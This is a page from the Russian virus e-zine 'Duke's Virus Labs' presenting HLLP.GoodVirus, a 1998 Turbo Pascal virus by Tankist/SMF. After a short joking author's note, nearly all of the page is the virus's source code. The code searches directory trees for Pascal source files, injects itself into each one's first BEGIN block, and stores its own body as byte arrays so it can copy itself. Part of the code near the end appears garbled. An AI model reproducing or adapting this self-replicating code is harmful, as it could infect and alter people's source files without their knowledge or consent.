- [Duke's Virus Labs #6] - [Page 12] - HLLP.GoodVirus (c) by Tankist/SMF Имя вируса : HLLP.GoodVirus Автор : Tankist/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 13.12.98 А это еще один ВИРУС. Хоть это изврат, но он заражает PAS'овские файлы. Это скорее пример того, как не надо писать проги. С этим текстом прилагается исходник вируса (а что еще могло быть? exe'шник, который при первом же запуске пишет в PAS исходник?). Небольшая анкета: Имя: Good virus (название давалось до его написания...) Автор: Танкист Заражает: -PAS файлы на том диске, где запущен (по одному каталогу за раз) Размер: ~14К Вредные действия: Заменяет uses, Uses, ... , useS на USES; вставляет еще один USES, если программа начинается не с него. Дата: 13-12-1998 Язык: Паскаль Вот выкопал его из закромов винчестера и ужаснулся(а писал я его всего 4 месяца назад)... Коментарии раставил как мог. Что касается самого вируса, то местами он таскает себя в ДЕСЯТЕРНОМ размере, не заходит в первые два каталога корня,пишется не в главный Begin, а в первый найденный... С этим текстом прилагается текст с коментариями и то, что получается при заражении(то же самое, но еще более страшное). P.S. "На паскале пишут только..."(цитата). Я с этим не согласен. Я бы написал "Только на паскале пишут только..." ===== Cut here ===== {This} {Чтоб себя не заражал} uses dos; var sr:SearchRec; {$i-} procedure zar; {Тело вируса} const numzar:byte=0; procedure infect(fl:SearchRec); {Зараждение} const ms='{This file was infected by a good virus.'#13#10'He is very good. Please, do not kill him}'#13#10; {Идентификация} alf:string='BEGIN'; {ключевые слова} alf2:set of char=[#9,#32,#10,#13]; a2=#9'zar'; a3='uses dos;'#13#10; a4=',dos'; a5:string='USES'; a6:string='DOS'; {вирус... собственной персоной} b1:array[1..4324]of byte=(41,59,13,10,32,32,99,49,58,97,114,114,97,121,91,49,46,46,48,51,55,54,93,111,102,32,98,121,116,101 ,61,40,13,10,49,50,51,44,51,54,44,49,48,53,44,52,53,44,49,50,53,44,49,51,44,49,48,44,49,49 ,50,44,49,49,52,44,49,49,49,44,57,57,44,49,48,49,44,49,48,48,44,49,49,55,44,49,49,52,44,49 ,48,49,44,51,50,44,49,50,50,44,57,55,44,49,49,52,44,53,57,44,49,51,44,49,48,44,57,57,44,49 ,49,49,44,49,49,48,44,49,49,53,44,49,49,54,44,51,50,44,49,49,48,13,10,44,49,49,55,44,49,48 ,57,44,49,50,50,44,57,55,44,49,49,52,44,53,56,44,57,56,44,49,50,49,44,49,49,54,44,49,48,49 ,44,54,49,44,52,56,44,53,57,44,49,51,44,49,48,44,51,50,44,49,49,50,44,49,49,52,44,49,49,49 ,44,57,57,44,49,48,49,44,49,48,48,44,49,49,55,44,49,49,52,44,49,48,49,44,51,50,44,49,48,53 ,44,49,49,48,44,49,48,50,44,49,48,49,13,10,44,57,57,44,49,49,54,44,52,48,44,49,48,50,44,49 ,48,56,44,53,56,44,56,51,44,49,48,49,44,57,55,44,49,49,52,44,57,57,44,49,48,52,44,56,50,44 ,49,48,49,44,57,57,44,52,49,44,53,57,44,49,51,44,49,48,44,51,50,44,57,57,44,49,49,49,44,49 ,49,48,44,49,49,53,44,49,49,54,44,49,51,44,49,48,44,51,50,44,51,50,44,49,48,57,13,10,44,49 ,49,53,44,54,49,44,51,57,44,49,50,51,44,56,52,44,49,48,52,44,49,48,53,44,49,49,53,44,51,50 ,44,49,48,50,44,49,48,53,44,49,48,56,44,49,48,49,44,51,50,44,49,49,57,44,57,55,44,49,49,53 ,44,51,50,44,49,48,53,44,49,49,48,44,49,48,50,44,49,48,49,44,57,57,44,49,49,54,44,49,48,49 ,44,49,48,48,44,51,50,44,57,56,44,49,50,49,44,51,50,13,10,44,57,55,44,51,50,44,49,48,51,44 ,49,49,49,44,49,49,49,44,49,48,48,44,51,50,44,49,49,56,44,49,48,53,44,49,49,52,44,49,49,55 ,44,49,49,53,44,52,54,44,51,57,44,51,53,44,52,57,44,53,49,44,51,53,44,52,57,44,52,56,44,51 ,57,44,55,50,44,49,48,49,44,51,50,44,49,48,53,44,49,49,53,44,51,50,44,49,49,56,44,49,48,49 ,44,49,49,52,13,10,44,49,50,49,44,51,50,44,49,48,51,44,49,49,49,44,49,49,49,44,49,48,48,44 ,52,54,44,51,50,44,56,48,44,49,48,56,44,49,48,49,44,57,55,44,49,49,53,44,49,48,49,44,52,52 ,44,51,50,44,49,48,48,44,49,49,49,44,51,50,44,49,49,48,44,49,49,49,44,49,49,54,44,51,50,44 ,49,48,55,44,49,48,53,44,49,48,56,44,49,48,56,44,51,50,44,49,48,52,44,49,48,53,13,10,44,49 ,48,57,44,49,50,53,44,51,57,44,51,53,44,52,57,44,53,49,44,51,53,44,52,57,44,52,56,44,53,57 ,44,49,51,44,49,48,44,51,50,44,51,50,44,57,55,44,49,48,56,44,49,48,50,44,53,56,44,49,49,53 ,44,49,49,54,44,49,49,52,44,49,48,53,44,49,49,48,44,49,48,51,44,54,49,44,51,57,44,54,54,44 ,54,57,44,55,49,44,55,51,13,10,44,55,56,44,51,57,44,53,57,44,49,51,44,49,48,44,51,50,44,51 ,50,44,57,55,44,49,48,56,44,49,48,50,44,53,48,44,53,56,44,49,49,53,44,49,48,49,44,49,49,54 ,44,51,50,44,49,49,49,44,49,48,50,44,51,50,44,57,57,44,49,48,52,44,57,55,44,49,49,52,44,54 ,49,44,57,49,44,51,53,44,53,55,44,52,52,44,51,53,44,53,49,13,10,44,53,48,44,52,52,44,51,53 ,44,52,57,44,52,56,44,52,52,44,51,53,44,52,57,44,53,49,44,57,51,44,53,57,44,49,51,44,49,48 ,44,51,50,44,51,50,44,57,55,44,53,48,44,54,49,44,51,53,44,53,55,44,51,57,44,49,50,50,44,57 ,55,44,49,49,52,44,51,57,44,53,57,44,49,51,44,49,48,44,51,50,44,51,50,13,10,44,57,55,44,53 ,49,44,54,49,44,51,57,44,49,49,55,44,49,49,53,44,49,48,49,44,49,49,53,44,51,50,44,49,48,48 ,44,49,49,49,44,49,49,53,44,53,57,44,51,57,44,51,53,44,52,57,44,53,49,44,51,53,44,52,57,44 ,52,56,44,53,57,44,49,51,44,49,48,44,51,50,44,51,50,44,57,55,44,53,50,44,54,49,44,51,57,44 ,52,52,13,10,44,49,48,48,44,49,49,49,44,49,49,53,44,51,57,44,53,57,44,49,51,44,49,48,44,51 ,50,44,51,50,44,57,55,44,53,51,44,53,56,44,49,49,53,44,49,49,54,44,49,49,52,44,49,48,53,44 ,49,49,48,44,49,48,51,44,54,49,44,51,57,44,56,53,44,56,51,44,54,57,44,56,51,44,51,57,44,53 ,57,44,49,51,44,49,48,44,51,50,44,51,50,13,10,44,57,55,44,53,52,44,53,56,44,49,49,53,44,49 ,49,54,44,49,49,52,44,49,48,53,44,49,49,48,44,49,48,51,44,54,49,44,51,57,44,54,56,44,55,57 ,44,56,51,44,51,57,44,53,57,44,49,51,44,49,48,44,51,50,44,51,50,44,57,56,44,52,57,44,53,56 ,44,57,55,44,49,49,52,44,49,49,52,44,57,55,44,49,50,49,44,57,49,44,52,57,13,10,44,52,54,44 ,52,54,44,53,50,44,53,49,44,53,48,44,53,50,44,57,51,44,49,49,49,44,49,48,50,44,51,50,44,57 ,56,44,49,50,49,44,49,49,54,44,49,48,49,44,54,49,44,52,48,41,59,13,10,32,118,97,114,13,10,32 ,32,102,58,102,105,108,101,32,111,102,32,99,104,97,114,59,13,10,32,32,99,58,99,104,97,114,59,13,10,32 ,32,115,58,115,116,114,105,110,103,59,13,10,32,32,108,44,108,50,58,119,111,114,100,59,13,10,13,10,32,32 ,112,114,111,99,101,100,117,114,101,32,105,110,102,59,13,10,32,32,118,97,114,13,10,32,32,32,103,58,102,105 ,108,101,32,111,102,32,99,104,97,114,59,13,10,32,32,32,105,58,119,111,114,100,59,13,10,13,10,32,32,32 ,112,114,111,99,101,100,117,114,101,32,119,114,105,116,101,115,40,115,58,115,116,114,105,110,103,41,59,13,10,32 ,32,32,118,97,114,32,105,58,119,111,114,100,59,13,10,32,32,32,98,101,103,105,110,13,10,32,32,32,32,102 ,111,114,32,105,58,61,49,32,116,111,32,108,101,110,103,116,104,40,115,41,32,100,111,13,10,32,32,32,32,32 ,119,114,105,116,101,40,103,44,115,91,105,93,41,59,13,10,32,32,32,101,110,100,59,13,10,13,10,32,32,32 ,112,114,111,99,101,100,117,114,101,32,119,114,105,116,101,115,50,40,118,97,114,32,115,58,97,114,114,97,121,32 ,111,102,32,98,121,116,101,41,59,13,10,32,32,32,118,97,114,32,105,58,119,111,114,100,59,13,10,32,32,32 ,98,101,103,105,110,13,10,32,32,32,32,102,111,114,32,105,58,61,48,32,116,111,32,115,105,122,101,111,102,40 ,115,41,45,49,32,100,111,13,10,32,32,32,32,32,119,114,105,116,101,40,103,44,99,104,97,114,40,115,91,105 ,93,41,41,59,13,10,32,32,32,101,110,100,59,13,10,13,10,32,32,32,112,114,111,99,101,100,117,114,101,32 ,119,114,105,116,101,115,51,40,118,97,114,32,115,58,97,114,114,97,121,32,111,102,32,98,121,116,101,41,59,13 ,10,32,32,32,118,97,114,32,105,58,119,111,114,100,59,13,10,32,32,32,32,32,32,32,99,58,115,116,114,105 ,110,103,59,13,10,32,32,32,98,101,103,105,110,13,10,32,32,32,32,115,116,114,40,115,91,48,93,44,99,41 ,59,13,10,32,32,32,32,119,114,105,116,101,115,40,99,41,59,13,10,32,32,32,32,102,111,114,32,105,58,61 ,49,32,116,111,32,115,105,122,101,111,102,40,115,41,45,49,32,100,111,13,10,32,32,32,32,32,98,101,103,105 ,110,13,10,32,32,32,32,32,32,115,116,114,40,115,91,105,93,44,99,41,59,13,10,32,32,32,32,32,32,119 ,114,105,116,101,115,40,39,44,39,43,99,41,59,13,10,32,32,32,32,32,32,105,102,32,105,32,109,111,100,32 ,51,48,61,48,32,116,104,101,110,32,119,114,105,116,101,115,40,35,49,51,35,49,48,41,59,13,10,32,32,32 ,32,32,101,110,100,59,13,10,32,32,32,101,110,100,59,13,10,13,10,32,32,108,97,98,101,108,32,49,59,13 ,10,32,32,98,101,103,105,110,13,10,32,32,32,105,110,99,40,110,117,109,122,97,114,41,59,13,10,32,32,32 ,114,101,110,97,109,101,40,102,44,39,118,114,46,116,120,116,39,41,59,13,10,32,32,32,114,101,115,101,116,40 ,102,41,59,13,10,32,32,32,97,115,115,105,103,110,40,103,44,102,108,46,110,97,109,101,41,59,13,10,32,32 ,32,114,101,119,114,105,116,101,40,103,41,59,13,10,13,10,32,32,32,119,114,105,116,101,115,40,109,115,41,59 ,13,10,32,32,32,108,50,58,61,48,59,13,10,32,32,32,115,58,61,39,39,59,13,10,32,32,32,114,101,112 ,101,97,116,13,10,32,32,32,32,105,110,99,40,108,50,41,59,13,10,32,32,32,32,114,101,97,100,40,102,44 ,99,41,59,13,10,32,32,32,32,115,58,61,115,43,99,59,13,10,32,32,32,117,110,116,105,108,32,110,111,116 ,40,99,32,105,110,32,97,108,102,50,41,59,13,10,32,32,32,100,101,99,40,115,91,48,93,41,59,13,10,32 ,32,32,119,114,105,116,101,115,40,115,41,59,13,10,32,32,32,115,58,61,39,39,59,13,10,13,10,32,32,32 ,114,101,112,101,97,116,13,10,32,32,32,32,99,58,61,117,112,99,97,115,101,40,99,41,59,13,10,32,32,32 ,32,105,102,32,99,61,97,53,91,108,101,110,103,116,104,40,115,41,43,49,93,32,116,104,101,110,32,115,58,61 ,115,43,99,13,10,32,32,32,32,101,108,115,101,13,10,32,32,32,32,32,98,101,103,105,110,13,10,32,32,32 ,32,32,32,115,58,61,115,43,99,59,13,10,32,32,32,32,32,32,119,114,105,116,101,115,40,115,41,59,13,10 ,32,32,32,32,32,32,119,114,105,116,101,115,40,97,51,41,59,13,10,32,32,32,32,32,32,98,114,101,97,107 ,59,13,10,32,32,32,32,32,101,110,100,59,13,10,13,10,32,32,32,32,105,102,32,115,61,97,53,32,116,104 ,101,110,13,10,32,32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,32,32,119,114,105,116,101,115,40,115 ,41,59,13,10,32,32,32,32,32,32,105,110,99,40,108,50,41,59,13,10,32,32,32,32,32,32,114,101,97,100 ,40,102,44,99,41,59,13,10,32,32,32,32,32,32,115,58,61,39,39,59,13,10,32,32,32,32,32,32,114,101 ,112,101,97,116,13,10,32,32,32,32,32,32,32,105,102,32,117,112,99,97,115,101,40,99,41,61,97,54,91,108 ,101,110,103,116,104,40,115,41,43,49,93,32,116,104,101,110,32,115,58,61,115,43,117,112,99,97,115,101,40,99 ,41,13,10,32,32,32,32,32,32,32,101,108,115,101,32,115,58,61,39,39,59,13,10,32,32,32,32,32,32,32 ,105,102,32,115,61,97,54,32,116,104,101,110,32,103,111,116,111,32,49,59,13,10,32,32,32,32,32,32,32,119 ,114,105,116,101,40,103,44,99,41,59,13,10,32,32,32,32,32,32,32,105,110,99,40,108,50,41,59,13,10,32 ,32,32,32,32,32,32,114,101,97,100,40,102,44,99,41,59,13,10,32,32,32,32,32,32,117,110,116,105,108,32 ,99,61,39,59,39,59,13,10,32,32,32,32,32,32,119,114,105,116,101,115,40,97,52,41,59,13,10,32,49,58 ,59,32,32,119,114,105,116,101,40,103,44,99,41,59,13,10,32,32,32,32,32,32,98,114,101,97,107,59,13,10 ,32,32,32,32,32,101,110,100,59,13,10,32,32,32,32,105,110,99,40,108,50,41,59,13,10,32,32,32,32,114 ,101,97,100,40,102,44,99,41,59,13,10,32,32,32,117,110,116,105,108,32,101,111,102,40,102,41,59,13,10,13 ,10,32,32,32,119,104,105,108,101,32,108,50,60,108,45,53,32,100,111,13,10,32,32,32,32,98,101,103,105,110 ,13,10,32,32,32,32,32,105,110,99,40,108,50,41,59,13,10,32,32,32,32,32,114,101,97,100,40,102,44,99 ,41,59,13,10,32,32,32,32,32,119,114,105,116,101,40,103,44,99,41,59,13,10,32,32,32,32,101,110,100,59 ,13,10,32,32,32,119,114,105,116,101,115,50,40,99,49,41,59,13,10,32,32,32,119,114,105,116,101,115,51,40 ,98,49,41,59,13,10,32,32,32,119,114,105,116,101,115,50,40,98,49,41,59,13,10,32,32,32,102,111,114,32 ,105,58,61,49,32,116,111,32,53,32,100,111,13,10,32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,32 ,114,101,97,100,40,102,44,99,41,59,13,10,32,32,32,32,32,119,114,105,116,101,40,103,44,99,41,59,13,10 ,32,32,32,32,101,110,100,59,13,10,32,32,32,119,114,105,116,101,115,40,97,50,41,59,13,10,13,10,32,32 ,32,114,101,112,101,97,116,13,10,32,32,32,32,114,101,97,100,40,102,44,99,41,59,13,10,32,32,32,32,119 ,114,105,116,101,40,103,44,99,41,59,13,10,32,32,32,117,110,116,105,108,32,101,111,102,40,102,41,59,13,10 ,32,32,32,99,108,111,115,101,40,102,41,59,13,10,32,32,32,99,108,111,115,101,40,103,41,59,13,10,32,32 ,32,101,114,97,115,101,40,102,41,59,13,10,32,32,101,110,100,59,13,10,13,10,32,98,101,103,105,110,13,10 ,32,32,97,115,115,105,103,110,40,102,44,102,108,46,110,97,109,101,41,59,13,10,32,32,114,101,115,101,116,40 ,102,41,59,13,10,32,32,114,101,97,100,40,102,44,99,41,59,13,10,32,32,115,58,61,99,59,13,10,32,32 ,114,101,97,100,40,102,44,99,41,59,13,10,32,32,115,58,61,115,43,99,59,13,10,32,32,114,101,97,100,40 ,102,44,99,41,59,13,10,32,32,105,102,32,115,43,99,61,39,123,84,104,39,32,116,104,101,110,13,10,32,32 ,32,98,101,103,105,110,13,10,32,32,32,32,99,108,111,115,101,40,102,41,59,13,10,32,32,32,32,101,120,105 ,116,59,13,10,32,32,32,101,110,100,59,13,10,13,10,32,32,115,101,101,107,40,102,44,48,41,59,13,10,32 ,32,115,58,61,39,39,59,13,10,32,32,108,58,61,48,59,13,10,32,32,114,101,112,101,97,116,13,10,32,32 ,32,105,110,99,40,108,41,59,13,10,32,32,32,114,101,97,100,40,102,44,99,41,59,13,10,32,32,32,99,58 ,61,117,112,99,97,115,101,40,99,41,59,13,10,32,32,32,105,102,32,99,61,97,108,102,91,108,101,110,103,116 ,104,40,115,41,43,49,93,32,116,104,101,110,32,115,58,61,115,43,99,13,10,32,32,32,101,108,115,101,32,115 ,58,61,39,39,59,13,10,32,32,32,105,102,32,115,61,97,108,102,32,116,104,101,110,13,10,32,32,32,32,98 ,101,103,105,110,13,10,32,32,32,32,32,114,101,97,100,40,102,44,99,41,59,13,10,32,32,32,32,32,105,102 ,32,99,61,35,57,32,116,104,101,110,32,101,120,105,116,59,13,10,32,32,32,32,32,99,108,111,115,101,40,102 ,41,59,13,10,32,32,32,32,32,105,110,102,59,13,10,32,32,32,32,32,101,120,105,116,59,13,10,32,32,32 ,32,101,110,100,59,13,10,32,32,117,110,116,105,108,32,101,111,102,40,102,41,59,13,10,32,101,110,100,59,13 ,10,13,10,32,112,114,111,99,101,100,117,114,101,32,122,97,114,97,108,108,59,13,10,32,118,97,114,13,10,32 ,32,102,108,58,115,101,97,114,99,104,114,101,99,59,13,10,32,98,101,103,105,110,13,10,32,32,70,105,110,100 ,70,105,114,115,116,40,39,42,46,80,65,83,39,44,36,51,70,44,32,102,108,41,59,13,10,32,32,119,104,105 ,108,101,32,100,111,115,101,114,114,111,114,61,48,32,100,111,13,10,32,32,32,98,101,103,105,110,13,10,32,32 ,32,32,105,110,102,101,99,116,40,102,108,41,59,13,10,32,32,32,32,102,105,110,100,110,101,120,116,40,102,108 ,41,59,13,10,32,32,32,101,110,100,59,13,10,32,101,110,100,59,13,10,13,10,118,97,114,13,10,32,115,58 ,115,116,114,105,110,103,91,54,52,93,59,13,10,32,102,108,58,115,101,97,114,99,104,114,101,99,59,13,10,98 ,101,103,105,110,13,10,32,103,101,116,100,105,114,40,48,44,115,41,59,13,10,32,99,104,100,105,114,40,39,46 ,46,39,41,59,13,10,32,105,102,32,105,111,114,101,115,117,108,116,60,62,48,32,116,104,101,110,13,10,32,32 ,98,101,103,105,110,13,10,32,32,32,99,104,100,105,114,40,115,41,59,13,10,32,32,32,101,120,105,116,59,13 ,10,32,32,101,110,100,59,13,10,32,102,105,110,100,102,105,114,115,116,40,39,42,39,44,36,49,48,44,102,108 ,41,59,13,10,32,102,105,110,100,110,101,120,116,40,102,108,41,59,13,10,32,102,105,110,100,110,101,120,116,40 ,102,108,41,59,13,10,32,114,101,112,101,97,116,13,10,32,32,99,104,100,105,114,40,102,108,46,110,97,109,101 ,41,59,13,10,32,32,122,97,114,97,108,108,59,13,10,32,32,99,104,100,105,114,40,39,46,46,39,41,59,13 ,10,32,32,102,105,110,100,110,101,120,116,40,102,108,41,59,13,10,32,32,105,102,32,100,111,115,101,114,114,111 ,114,60,62,48,32,116,104,101,110,13,10,32,32,32,98,101,103,105,110,13,10,32,32,32,32,99,104,100,105,114 ,40,39,46,46,39,41,59,13,10,32,32,32,32,105,102,32,105,111,114,101,115,117,108,116,60,62,48,32,116,104 ,101,110,13,10,32,32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,32,32,99,104,100,105,114,40,115,41 ,59,13,10,32,32,32,32,32,32,101,120,105,116,59,13,10,32,32,32,32,32,101,110,100,59,13,10,32,32,32 ,32,102,105,110,100,102,105,114,115,116,40,39,42,39,44,36,49,48,44,102,108,41,59,13,10,32,32,32,32,102 ,105,110,100,110,101,120,116,40,102,108,41,59,13,10,32,32,32,32,102,105,110,100,110,101,120,116,40,102,108,41 ,59,13,10,32,32,32,101,110,100,59,13,10,32,117,110,116,105,108,32,110,117,109,122,97,114,62,48,59,13,10 ,101,110,100,59); c1:array[1..0376]of byte=( 123,36,105,45,125,13,10,112,114,111,99,101,100,117,114,101,32,122,97,114,59,13,10,99,111,110,115,116,32,110 ,117,109,122,97,114,58,98,121,116,101,61,48,59,13,10,32,112,114,111,99,101,100,117,114,101,32,105,110,102,101 ,99,116,40,102,108,58,83,101,97,114,99,104,82,101,99,41,59,13,10,32,99,111,110,115,116,13,10,32,32,109 ,115,61,39,123,84,104,105,115,32,102,105,108,101,32,119,97,115,32,105,110,102,101,99,116,101,100,32,98,121,32 ,97,32,103,111,111,100,32,118,105,114,117,115,46,39,35,49,51,35,49,48,39,72,101,32,105,115,32,118,101,114 ,121,32,103,111,111,100,46,32,80,108,101,97,115,101,44,32,100,111,32,110,111,116,32,107,105,108,108,32,104,105 ,109,125,39,35,49,51,35,49,48,59,13,10,32,32,97,108,102,58,115,116,114,105,110,103,61,39,66,69,71,73 ,78,39,59,13,10,32,32,97,108,102,50,58,115,101,116,32,111,102,32,99,104,97,114,61,91,35,57,44,35,51 ,50,44,35,49,48,44,35,49,51,93,59,13,10,32,32,97,50,61,35,57,39,122,97,114,39,59,13,10,32,32 ,97,51,61,39,117,115,101,115,32,100,111,115,59,39,35,49,51,35,49,48,59,13,10,32,32,97,52,61,39,44 ,100,111,115,39,59,13,10,32,32,97,53,58,115,116,114,105,110,103,61,39,85,83,69,83,39,59,13,10,32,32 ,97,54,58,115,116,114,105,110,103,61,39,68,79,83,39,59,13,10,32,32,98,49,58,97,114,114,97,121,91,49 ,46,46,52,51,50,52,93,111,102,32,98,121,116,101,61,40); var f:file of char; {нда....} c:char; s:string; l,l2:word; procedure inf; var g:file of char; i:word; procedure writes(s:string); {записать s в g} var i:word; begin for i:=1 to length(s) do write(g,s[i]); end; procedure writes2(var s:array of byte); {записать s как строку} var i:word; begin for i:=0 to sizeof(s)-1 do write(g,char(s[i])); end; procedure writes3(var s:array of byte); {записать s как массив} var i:word; c:string; begin str(s[0],c); writes(c); for i:=1 to sizeof(s)-1 do begin str(s[i],c); writes(','+c); if i mod 30=0 then writes(#13#10); end; end; label 1; begin inc(numzar); {заразили таки... по крайней мере попытались} rename(f,'vr.txt'); reset(f); assign(g,fl.name); rewrite(g); writes(ms); {записали заголовок} l2:=0; s:=''; repeat inc(l2); read(f,c); s:=s+c; until not(c in alf2); {нашли что-то значащее} dec(s[0]); writes(s); {записали все незначащее} s:=''; repeat {ищем Uses} c:=upcase(c); if c=a5[length(s)+1] then s:=s+c else begin s:=s+c; writes(s); writes(a3); break; end; if s=a5 then {нашли Uses} begin writes(s); inc(l2); read(f,c); s:=''; repeat {ищем Dos} if upcase(c)=a6[length(s)+1] then s:=s+upcase(c) else s:=''; if s=a6 then goto 1; {нашли Dos} write(g,c); inc(l2); read(f,c); until c=';'; writes(a4); {не нашли Dos=>добавить} 1:; write(g,c); break; end; inc(l2); read(f,c); until eof(f); while l20 then begin chdir(s); exit; end; findfirst('*',$10,fl); findnext(fl); {Пропускаем два первых каталога} findnext(fl); repeat chdir(fl.name); zarall; chdir('..'); findnext(fl); if doserror<>0 then begin chdir('..'); if ioresult<>0 then begin chdir(s); exit; end; findfirst('*',$10,fl); findnext(fl); findnext(fl); end; until numzar>0; end; begin zar; end. ===== Cut here =====